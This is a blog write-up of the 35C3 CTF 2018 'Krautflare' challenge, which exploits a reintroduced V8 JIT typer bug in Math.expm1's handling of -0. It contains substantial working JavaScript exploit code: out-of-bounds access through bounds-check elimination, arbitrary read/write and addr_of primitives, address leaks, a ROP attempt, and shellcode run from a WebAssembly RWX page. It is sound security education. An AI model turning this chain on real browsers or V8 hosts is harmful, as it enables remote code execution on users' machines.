Exploiting Chrome V8: Krautflare (35C3 CTF 2018)
02 Jan 2019In this challenge, we had to obtain remote code execution, simply by exploiting a 1-day bug that forgot the difference between -0 and +0. This has probably been one of the most difficult, fun, and frustrating bugs I have ever exploited.
As someone who has never exploited a JavaScript engine vulnerability ever before, this challenge was a journey, filled with tons of ups and downs. I had an approximate idea of what might be involved, since I had recently started looking into Chrome V8 to try to find some 0-day vulnerabilities (and I succeeded! more on this in a future blog post), but I had never actually written an exploit ever, so I thought this challenge (which involves writing a 1-day exploit) might be an interesting one to solve, which will help me understand v8 internals much better too.
Some quick stats: 35C3 CTF lasted a total of 48 hours, and this challenge had a total of 3 solves by the end of the CTF. The challenge was thus worth (due to dynamic scoring) 451 points. I spent practically the entire CTF on this challenge (minus a couple of hours of sleep), and solved it ~1.5 hours before the CTF ended.
I have split this writeup into multiple sections. Depending on your level of experience with v8 and this challenge, please feel free to jump ahead (or directly read the annotated exploit code here).
The Challenge
The challenge had the following description:
Krautflare workers are the newest breakthrough in serverless computing. And since we're taking security very seriously, we're even isolating customer workloads from each other!
For our demo, we added an ancient v8 vulnerability to show that it's un-exploitable! See https://bugs.chromium.org/p/project-zero/issues/detail?id=1710 for details. Fortunately, that was the last vulnerability in v8 and our product will be secure from now on.
Files at https://35c3ctf.ccc.ac/uploads/krautflare-33ce1021f2353607a9d4cc0af02b0b28.tar. Challenge at:
nc 35.246.172.142 1
Note: This challenge is hard! It's made for all the people who asked for a hard Chrome pwnable in this survey at https://twitter.com/_tsuro/status/1057676059586560000. Though the bug linked above gives you a rough walkthrough how to exploit it, you'll just have to figure out the details. I hope you paid attention in your compiler lectures :). Good luck, you have been warned!
In case the challenge files are taken down, you can find a copy of the provided challenge files here.
Understanding the Bug
The explanation of the bug on the project
zero
link is useful. It tells us that the "typer" (which is a part of the
v8 JIT) misses the case of -0
when using Math.expm1
. If we look at
MDN for this
function,
we see that the functions returns e^x - 1
. Since we are working with
JavaScript, all numbers are double precision floating point numbers,
following the IEEE 754
standard. Within this, there exist two zeros (known as Signed
Zeros): +0
and
-0
. Both act almost exactly the same, except under very specific
circumstances. Math.expm1
is one of them. In particular,
Math.expm1(+0) == +0
and Math.expm1(-0) == -0
. This operation
seems to be performed correctly by v8, however, the typer (which is
used to perform optimizations) seems to forget this -0
case.
The project zero link lists a simple test case that we can use to
quickly verify if the provided d8
binary (which is a standalone
executable, which can be used for v8), has the bug. Unfortunately, the
bug is not triggered. We'll explore this soon.
We also have a better look around everything else that is provided to
us, and while most of it is boilerplate code, it is important to note
that the d8
binary provided to us is a release binary, and that will
make it difficult to easily to develop an exploit. Thankfully, we are
provided a build_v8.sh
script, which we can modify and build our own
debug version (by simply changing x64.release
to x64.debug
and
running it).
For most of the exploitation from this point forward, I used this newly built debug build, switching back once in a while to check if what I have works as expected even on the release build.
For more background on understanding JIT bugs, especially if you are not used to v8 or other JS engines, I would strongly recommend looking at the Blackhat 2018 talk by Samuel Groß (@5aelo) titled "Attacking Client-Side JIT Compilers".
For more background on the v8 JIT (aka TurboFan), I would recommend reading its docs.
Approximate Plan of Attack
As explained on the project zero
link,
we will need to use Object.is
to differentiate between -0
and +0
once we have triggered the bug. Neither division, nor Math.atan2
are
going to be useful for us. In addition to this, we need to prevent the
bug from being triggered in two phases of the compiler pipeline, and
then have it triggered in the third phase. In particular, we need to
get past the "typer" and "load elimination" phases, and we need to
trigger the bug in the "simplified lowering" phase.
Once we have surpassed these issues, we need to ensure that the
Object.is
becomes into a SameValue
node, instead of a
ObjectIsMinusZero
node, in addition to making sure that the value
passed into this comes from a Call
node, rather than a FloatExpm1
node.
Once we have surpassed these issues, the (wrong) type can be used to
perform a bounds check elimination. This means that a CheckBounds
node that exists before an array access would be removed, and we
obtain an Out-of-Bounds Read/Write (OOB RW) primitive. Following this,
we use it to obtain an Arbitrary Read/Write (Arb RW) primitive, and
some "good" memory leaks, which we can then use to somehow
manipulate memory and give us a shell.
As for how the somehow would work: in the past, attacking JavaScript Engines was much easier, since they used to have RWX pages, used for JITed functions, where once we had arbitrary read write, we could've simply thrown in our shellcode into a JITed function and then called it. Nowadays, we don't have RWX pages, so we'll need to come up with a way around it.
Setting up Debugging
In order to aid debugging, as mentioned in the previous section, we
build a debug build of d8
. In addition to this, we also use
Turbolizer
which will help us visualize the "sea of
nodes" graphs that v8 produces
during optimization.
For debugging during exploit development, I will also be using gdb
with peda
(mostly for its
telescope
command), but with some
modifications. These modifications make it easier to
work with pointers in v8, which are "tagged
pointers" where their
least significant bit is set. Since we know that pointers are not used
directly but offset by 1, the modifications that I introduced into
peda
check and reset the least significant bit, before being used
for further work in the telescope
command.
Another last important debug technique, before we get to triggering
the bug is v8 natives syntax. These are functions that begin with %
,
and the two important ones we'll be using are
%OptimizeFunctionOnNextCall
and %DebugPrint
, both of which do
exactly what they say they do.
Triggering the Bug
Now with all the important basics out of the way, how do we trigger this bug?
The answer lies in the patch files that are provided to us. In
particular
revert-bugfix-880207.patch
shows
that rather than reverting both the changes in operation-typer.cc
and typer.cc
, only the changes in typer.cc
have been
reverted. However, along with this, quite helpfully, a regression unit
test has also been reverted. We can use this unit test.
Side note: The chromium bug tracker link which is linked from the project zero link was not accessible during most of the CTF, and was derestricted (if I remember correctly) closer to the second day of the CTF. It confirms that the bug was fixed in two parts (see Comment #8), and here, only the second part is reverted for this challenge.
Back to triggering the bug. We use the provided regression test to
first check if the provided d8
and debug d8
actually work on this
test. We don't want to depend on
mjsunit.js
. So,
we remove the fluff that isn't "standard" JS or an optimization
native, and check, if we can trigger it. Fortunately, we can, with the following code:
function f(x) {
return Object.is(Math.expm1(x), -0);
}
function g() {
return f(-0);
}
f(0);
// Compile function optimistically for numbers (with fast inlined
// path for Math.expm1).
%OptimizeFunctionOnNextCall(f);
// Invalidate the optimistic assumption, deopting and marking non-number
// input feedback in the call IC.
f("0");
// Optimize again, now with non-lowered call to Math.expm1.
console.log(g());
%OptimizeFunctionOnNextCall(g);
console.log(g()); // returns: false. expected: true.
Using Turbolizer (described in the previous section), we can now start to work on triggering this bug at the correct phase ("simplified lowering").
Noticing that the phase that lies between "load elimination" (where we do not want the bug to be triggered yet) and "simplified lowering" (where we want bug to be triggered) phases, there lies the "escape analysis" phase. Clearly, we need to perform some manipulations at this phase in order to "hide" the bug from the optimizer before, and then "reveal" after.
There's a great talk by Tobias Ebbi titled "Escape Analysis in v8", that was super useful in understanding the complexities involved in escape analysis. Thankfully, we don't need to worry about most of it. We can simply use the intuition that if an object does not escape, and this is "easy" for v8 to prove, then it will convert the object's members into local variables instead.
With this idea in mind, I tried to mess around with objects until I
was able to get something to work, which would not trigger on the
first two relevant phases, and would trigger on the
3rd. Unfortunately, I wasted a bunch of time due to not being able to
see feedback types from simplified lowering in Turbolizer. If someone
has a good way to have these show up, please do let me know :)
However, I finally started to use the --trace-representation
flag
(thereby my whole d8
command was
./d8 --allow-natives-syntax --trace-representation --trace-turbo-graph --trace-turbo-path /tmp/out --trace-turbo
)
which allowed me to see feedback types at the terminal. Using these, I
could now figure out whether I was triggering the bug at the right
point, and turns out I had figured it out a while ago: it just wasn't
showing up in Turbolizer (since that was showing types, and not the
feedback types, which "simplified lowering" uses).
The final code used for triggering the bug, exactly in the phase we wanted (with a minor change to force it to be an integer, which will be useful in the next stages of writing this exploit):
function _auxiliary_(x) {
var a = {zz : Math.expm1(x), yy : -0};
a.yy = Object.is(a.zz, a.yy);
return a.yy;
}
function trigger() {
var a = { z : 1.2 };
a.z = _auxiliary_(-0);
return (a.z + 0); // Real: 1, Feedback type: Range(0, 0)
}
_auxiliary_(0);
%OptimizeFunctionOnNextCall(_auxiliary_);
_auxiliary_("0");
trigger();
%OptimizeFunctionOnNextCall(trigger);
trigger();
Escalating to an OOB RW
Once we have the bug triggering as expected, we have to now start to
abuse this. The plan was to add an array of floats, and use this
mismatched value in order to have the value at some x
which is
outside the array, but have the optimizer think that we are indexing
from 0. This way, the optimizer would eliminate the CheckBounds
node, and we'll have an OOB RW primitive.
Unfortunately, this is easier said than done. Due to the nature of
this bug, and the method I was using to ensure it stays a Call
node,
the "inlining" phase (in particular, JSNativeContextSpecialization
which runs during that phase) splits the CheckBounds
node into
CheckBounds
and NumberLessThan
nodes. The "real" length check now
happens at the NumberLessThan
, and unfortunately, the "simplified
lowering" phase does not propagate feedback types along
NumberLessThan
nodes.
This had me stumped for a while, and I kept trying various different alternative ways of calling things, and also read through a lot of the v8 code base, trying to understand how to prevent this from happening.
I finally stumbled upon this (basically, it required having both functions take and pass the same arguments):
function _auxiliary_(minusZero, isstring) {
let aux_x = minusZero ? -0 : (isstring ? "0" : 0);
let aux_a = {aux_z : Math.expm1(aux_x), aux_y : -0};
aux_a.aux_y = Object.is(aux_a.aux_z, aux_a.aux_y);
return aux_a.aux_y;
}
function trigger(minusZero, isstring) {
let a = { z : 1.2 };
a.z = _auxiliary_(minusZero, isstring);
let i = a.z + 0; // Real: 1, Feedback type: Range(0, 0)
i &= 1; // feedback: 0
i *= 6; // feedback: 0
let arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
return arr[i];
}
console.log(trigger(false, false));
%OptimizeFunctionOnNextCall(trigger);
console.log(trigger(false, true));
%OptimizeFunctionOnNextCall(trigger);
console.log(trigger(true));
I don't think I have ever been this happy to see a number as large as
-1.1885946300594787e+148
in my life :D
Unfortunately, triggering this bug had been extremely difficult, and it was fragile, so I decided to spend some time working on stabilizing this, and making it easier to do OOB RWs.
Stabilized OOB RW
The initial idea for this is to take a "short" array, use the bug to overwrite its length, and then provide this new array to the "outside world". This way, later stages of the exploit can easily perform out-of-bounds accesses without needing to trigger the original finicky bug again.
In order to perform this stabilization, we need to introduce 2 arrays,
use the first to overwrite the length of the second. In particular, we
will set the length of the second array to 1024 * 1024
so that we
definitely have enough to overwrite whatever we want.
Since we need to work with conversions between floats and integers, I copied the following code from Google CTF 2018's "Just In Time" challenge:
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
BigInt.prototype.smi2f = function() {
int_view[0] = this << 32n;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
Number.prototype.f2smi = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
return BigInt(this).smi2f();
}
We can now implement our idea. Since the code had started to get a little more complex, I also started to add in some small test cases that will help me figure out if things were going fine or wrong.
let oob_rw_buffer = undefined;
function trigger(minusZero, isstring) {
// The arrays we shall target
let a = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1];
let b = [1.1, 1.2, 1.3, 1.4, 1.5];
// Trigger the actual bug
let aux_a = { aux_z : 1.2 };
aux_a.aux_z = _auxiliary_(minusZero, isstring);
let i = aux_a.aux_z + 0; // Real: 1, Feedback type: Range(0, 0)
// Move over to the length field for `b`
i *= 16; // feedback: 0
// Change the length to 1024 * 1024
a[i] = (1024*1024).smi2f();
// Expose OOB RW buffer to outside world, for stage 1
oob_rw_buffer = b;
return a[i + 1];
}
if (trigger(false, false) != 1.1) {
throw "[FAIL] Unexpected return value in unoptimized trigger";
}
%OptimizeFunctionOnNextCall(trigger);
if (trigger(false, true) != 1.1) {
throw "[FAIL] Unexpected return value in first-level optimized trigger";
}
%OptimizeFunctionOnNextCall(trigger);
if (trigger(true) == undefined) {
throw "[FAIL] Unable to trigger bug"
}
if ( oob_rw_buffer.length < 1024 ) {
throw "[FAIL] Triggered bug, but didn't update length of OOB RW buffer";
}
It was at this point that I noticed that from this point forward, I
would, for the most part, be unable to use the debug build. The reason
for this is that performing an OOB RW using oob_rw_buffer
caused a
dynamic debug-time check. Thus, I switched over to using the release
build from this point forward. I did temporarily switch back to the
debug build from time to time, in order to better obtain offsets for
exploitation, but otherwise, I relied almost entirely on the release
build.
Powerful Primitives
Now that we have an OOB RW primitive, we can start to craft more
useful primitives, namely arb_read
, arb_write
, and addr_of
:
arb_read(addr)
: Reads 8 bytes fromaddr
and returns as aBigInt
.arb_write(addr, value)
: Writes the 8-byteBigInt
value toaddr
.addr_of(o)
: Returns the address of the objecto
. This should give the same value as what%DebugPrint
returns.
Unfortunately, in order to design these primitives, we are going to
need to modify the trigger
function above one last time. This is
because we need to introduce two more arrays that should be allocated
immediately after oob_rw_buffer
, and then use those to give us the
primitives we need.
Modified trigger
:
let oob_buffer = undefined;
let oob_buffer_unpacked = undefined;
let oob_buffer_packed = undefined;
function trigger(minusZero, isstring) {
// The arrays we shall target
let a = [0.1, 0.1, 0.1, 0.1, 0.1, 0.1];
let b = [1.1, 1.2, 1.3, 1.4, 1.5];
let c = [{}, 2.2, 2.3, 2.4, 2.5, 2.6, 2.7, 2.8];
let d = [3.1, 3.2, 3.3, 3.4];
// Trigger the actual bug
let aux_a = { aux_z : 1.2 };
aux_a.aux_z = _auxiliary_(minusZero, isstring);
let i = aux_a.aux_z + 0; // Real: 1, Feedback type: Range(0, 0)
// Change `b.length` to 1024 * 1024
a[i * 16] = (1024*1024).smi2f();
// Expose OOB RW buffer to outside world, for stage 1
oob_buffer = b;
oob_buffer_unpacked = c;
oob_buffer_packed = d;
return i == 0 ? 'untriggered' : a[i];
}
Now, we have a set of 3 buffers that we can use to provide the exact primitives we need:
oob_buffer
: This is the attacked array, which provides us with the ability to perform oob rwoob_buffer_unpacked
: This array consists of tagged pointers and unpacked floats. This will be used to give us theaddr_of
primitive.oob_buffer_packed
: This array consists of packed floats. This will be used to provide ourarb_read
andarb_write
primitives.
What is this "packed" and "unpacked"? As a memory optimization, v8 stores an array consisting only of floats as a "packed" float array. This means that all the floats lie contiguously. This is in comparison to the unpacked form, which is used whenever there is at least 1 non-float in the array. In this case, objects are stored as tagged pointers, and the floats are stored in "boxed" form.
With these now, we can define our primitives, which are got simply by accessing the elements of the two latter buffers.
const RW_OFFSET = 38;
const ADDR_OFFSET = 18;
const BACKING_POINTER_OFFSET = 15n;
const leaked_addr_backing = oob_buffer[RW_OFFSET].f2i() + BACKING_POINTER_OFFSET;
function arb_read(addr) {
let old = oob_buffer[RW_OFFSET];
oob_buffer[RW_OFFSET] = (addr - BACKING_POINTER_OFFSET).i2f();
r = oob_buffer_packed[0].f2i();
oob_buffer[RW_OFFSET] = old;
return r;
}
function arb_write(addr, val) {
let old = oob_buffer[RW_OFFSET];
oob_buffer[RW_OFFSET] = (addr - BACKING_POINTER_OFFSET).i2f();
oob_buffer_packed[0] = val.i2f();
oob_buffer[RW_OFFSET] = old;
}
function addr_of(o) {
let old = oob_buffer_unpacked[0];
oob_buffer_unpacked[0] = o;
let r = oob_buffer[ADDR_OFFSET].f2i();
oob_buffer_unpacked[0] = old;
return r;
}
We also write some tests to help ensure that things work smoothly as we move on to the next stages (you can find these in the final exploit file).
Crafting an Attack
With the powerful primitives that we now have access to, we can easily trample over whatever memory we want/need.
It was this point forward, that a lot of time was spent chasing after leads that led to almost nowhere. I have skipped most of the details of these, but what follows is a short summary, before I get to the solution after Hours of Pain!, during A New Hope.
The first thing that I did was to try to obtain the location of
D8_BASE
(i.e., find the start of the first page of the d8
executable). The code below was written after spending a whole bunch
of time trying to stabilize this.
function calc_d8_addr() {
let a = LEAKED_ADDR;
a &= ~(0xffffn); // Go to start of page
a = arb_read(a + 24n); // Dereference start+8
a = arb_read(a); // Deref that
a = arb_read(a); // And now we are in d8
a &= ~(0x7fffn); // Go near start of page
a -= 0x600000n; // Go nearer to start of page
for(var x = 0; x < 0x20000; x += 0x1000) {
if (arb_read(a - BigInt(x)) == 0x00010102464c457f) {
// console.log(x.toString(16));
return (a - BigInt(x));
}
}
throw "[FAIL] Could not find valid d8 base";
}
const D8_BASE = calc_d8_addr();
if (arb_read(D8_BASE) != 0x00010102464c457f) {
throw "[FAIL] D8_BASE is unstable"
}
if (arb_read(D8_BASE + 0x606000n) != 0x89485ed18949ed31n) {
throw "[FAIL] Can't find correct R_X page from D8_BASE"
}
console.log(" + Obtained D8_BASE = " + D8_BASE.hex());
With D8_BASE
, I could obtain LIBC_BASE
:
const libc_fputc = arb_read(D8_BASE + 0x115eb48n);
const libc_printf = arb_read(D8_BASE + 0x115eb68n);
const libc_puts = arb_read(D8_BASE + 0x115eb58n);
const libc_base = libc_fputc - FPUTC_OFFSET;
if ( libc_base + PRINTF_OFFSET != libc_printf ) {
throw "[FAIL] Unknown libc";
}
if ( libc_base + PUTS_OFFSET != libc_puts ) {
throw "[FAIL] libc is messing with me";
}
console.log(" + libc_base: " + libc_base.hex());
... and thus, we could leak a stack address:
const libc_environ = libc_base + ENVIRON_OFFSET;
const stack_leak = arb_read(libc_environ);
Now, the plan was clear (or so I thought): write a ROP chain, and trample over the stack backwards until we hit a RETsled, that jumps to our ROP chain. Then, we've got shell, and we've got the flag. Easy-peasy, right? Nope, so damn wrong.
Finally, shell! Or is it?
At this point, I created a ROP chain for an execve
shell, using
ropper
on d8
. I also added code
to start trampling over the stack:
let cur_pos = stack_leak - 8n * BigInt(ROPCHAIN.length);
for (var i = 0 ; i < ROPCHAIN.length ; ++i) {
arb_write(cur_pos + 8n * BigInt(i), ROPCHAIN[i]);
}
for (var i = 0 ; i < TRAMPLE_MAX ; ++i) {
// console.log(i);
cur_pos -= 8n;
arb_write(cur_pos,
RET
);
}
After spending tons of time in the debugger, I was finally able to
figure out that setting TRAMPLE_MAX
to 17 worked, and I finally got
a shell!!! While this was a local shell on my own machine, I had been
using the same binary as the server, so I thought: what could be so
different? Of course, I was accounting for differences in offsets
between server and my machine, but I couldn't be more wrong.
On a side note: this exploit works with relatively high reliability. It fails once out of every 10~20 runs, but otherwise it works brilliantly. Also, I had switched over to a manually written ROP chain using libc. This version of the exploit can be found here.
I used the prettydiff minifier to minify my code, as the server accepted only one line, and sent it over. No shell. Just a stack smash. Now began the many many hours of pain.
Hours of Pain!
I now had a valid exploit, and I was able to get a local shell, even with the minimized version (thus showing that minifier wasn't doing something wrong). I also had the shell work with high reliability, so after doing a couple of dozen tests on the server, I knew that it wasn't a reliability issue. Maybe it was a difference in offsets?
They had provided a Dockerfile
along with the challenge, and it used
tsuro/nsjail
. This is what I had used to obtain the libc
in order
to get its offsets, but I could now use this to debug why things were
failing. Unfortunately, the Dockerfile
cannot be used out of the
box. Instead, it requires some other correct set up. I was too tired
to figure that out, so I just simply spun up tsuro/nsjail
, believing
that the rest of the stuff was just fluff to prevent things from
staying up too long, and adding in proof-of-work, etc.
I was able to have the exploit run stably inside the docker container,
so that felt odd. I was too sleep deprived to think all that clearly,
but soon, I realized that the server was using worker.js
which I was
not. I quickly added a modified worker.js
so that I would not need
to always paste/pipe in my exploit (basically by replacing a
readline
with a read
from file).
After some tinkering around, my exploit worked! I sent it over to the server, and nope, nothing. I tried again, and nothing.
After spending a bunch more time, I realized that the readline
was
messing with me, and I was unable to get the shell unless I used the
--allow-natives-syntax
flag (which btw, I had already replaced the
%OptimizeFunctionOnNextCall
s with loops, in order to not require
natives), but for some reason, adding that flag made the stack
amenable to give me a shell.
From this point onwards, it was pure agony, and I tried a whole bunch of different things. These included trying to one-gadget it, using a JITted function, or using a random function pointer, etc. Since full RELRO was enabled, I couldn't overwrite the GOT. Ricky provided tons of ideas at this point, and I'd tried a whole bunch, but none worked out. It didn't help that the exact scenario that I was in, I could not directly have the bug triggered inside GDB, and outside GDB, if I triggered it and obtained a core dump, when I tried to analyze it, GDB itself crashed and gave a core dump.
I was about to give up. I didn't have a flag, but I at least got a shell locally, and that was a big win for me, personally, and I was also extremely sleepy at this point.
A New Hope
I announced my intentions of giving in to sleep on our team Slack, and Ricky asked me to take another closer look at one of his suggestions: looking at WebAssembly (aka Wasm). Due to the addition of Wasm support to v8 (over the past couple of years), we can write JS code to call out to functions written in Wasm. In order to optimize Wasm code, v8 compiles that to native code as well. Ricky indicated that it might be possible that this compilation might lead to the creation of an RWX page that we might be able to use for our exploits.
I had tried this out earlier, and had been unable to really use it (i.e., I had been unable to trigger the creation of an RWX page), but just to make sure that I had done things right, I opened up a new text editor, and wrote down some JS code to initialize and execute some Wasm code. The only goal of introducing Wasm into our exploit is to introduce an RWX page that we can then use.
Running this and checking vmmap
using peda
, I realized that we had
introduced an RWX page (!)
From this point forward, there is a "new" (or ancient) path to shell that I can see: write shellcode to the RWX region, and then directly execute it. I was no longer sleepy :D
Flag!
Now that I could see a new approach to getting a shell, I was re-energized. I started to look for "paths" from known functions/variables to the RWX page. Fortunately, I found one that seemed stable, even on the server, and I was able to obtain a pointer to a function that I could execute.
At this point, all that remained was to actually add in some shellcode (taken from shell-storm), and I'd have shell.
The final exploit consisted of initializing wasm, in order to obtain
an rwx_page_addr
and a wasm_func
that when run, would execute the
core at the address obtained.
let wasm_buffer = new ArrayBuffer(wasm_simple.length);
const wasm_buf8 = new Uint8Array(wasm_buffer);
for (var i = 0 ; i < wasm_simple.length ; ++i) {
wasm_buf8[i] = wasm_simple[i];
}
let rwx_page_addr = undefined;
var wasm_importObject = {
imports: {
imported_func: function(arg) {
// wasm_function -> shared_info -> mapped_pointer -> start_of_rwx_space
let a = addr_of(wasm_func);
a -= 1n;
a += 0x18n;
a = arb_read(a);
a -= 0x91n;
a = arb_read(a);
rwx_page_addr = a;
console.log(" + rwx_page_addr = " + rwx_page_addr.hex());
stages_after_wasm();
}
}
};
async function wasm_trigger() {
let result = await WebAssembly.instantiate(wasm_buffer, wasm_importObject);
return result;
}
let wasm_func = undefined;
wasm_trigger().then(r => {
f = r.instance.exports.exported_func;
wasm_func = f;
f(); });
Once we had these, it was a simple matter of throwing in, and executing the shellcode:
function stages_after_wasm() {
for (var i = 0 ; i < shellcode.length ; ++i ) {
let a = rwx_page_addr + (BigInt(i) * 8n);
arb_write(a, shellcode[i]);
}
wasm_func();
}
And there we have it, a shell! Since this no longer relied on the
stack, it was a much more stable exploit, and I was
able to run it on the server, and obtain the flag:
35C3_this_bug_was_a_minus_zero_day
. Quite a fitting flag, won't you
say?
Concluding Remarks
This challenge was super fun and interesting. I learnt a lot along
the way, even though I was frustrated at times, especially due to the
stack issues at the end. On a discussion with
Stephen after I had got the flag, he
said that he too had to get around the weird stack issue, but he'd
done it by overwriting free_hook
with system
, and then calling
console.log
with sh
. That definitely was an awesome solution as
well, and one that I will keep in mind for the future.
Acknowledgements
Massive thanks to Ricky who gave massive moral support and kept throwing in ideas when I was about to give up, after I'd been facing those stack issues. Also, mad props to Stephen for finding this bug, and having this as a challenge in 35c3. Thanks to Carolina for reviewing this writeup and providing some super helpful suggestions.
More on V8 exploitation
Coming soon: a writeup on a 0-day that I found in v8. Follow me on Twitter to know when I release a new blog post, and more. Or alternatively, RSS!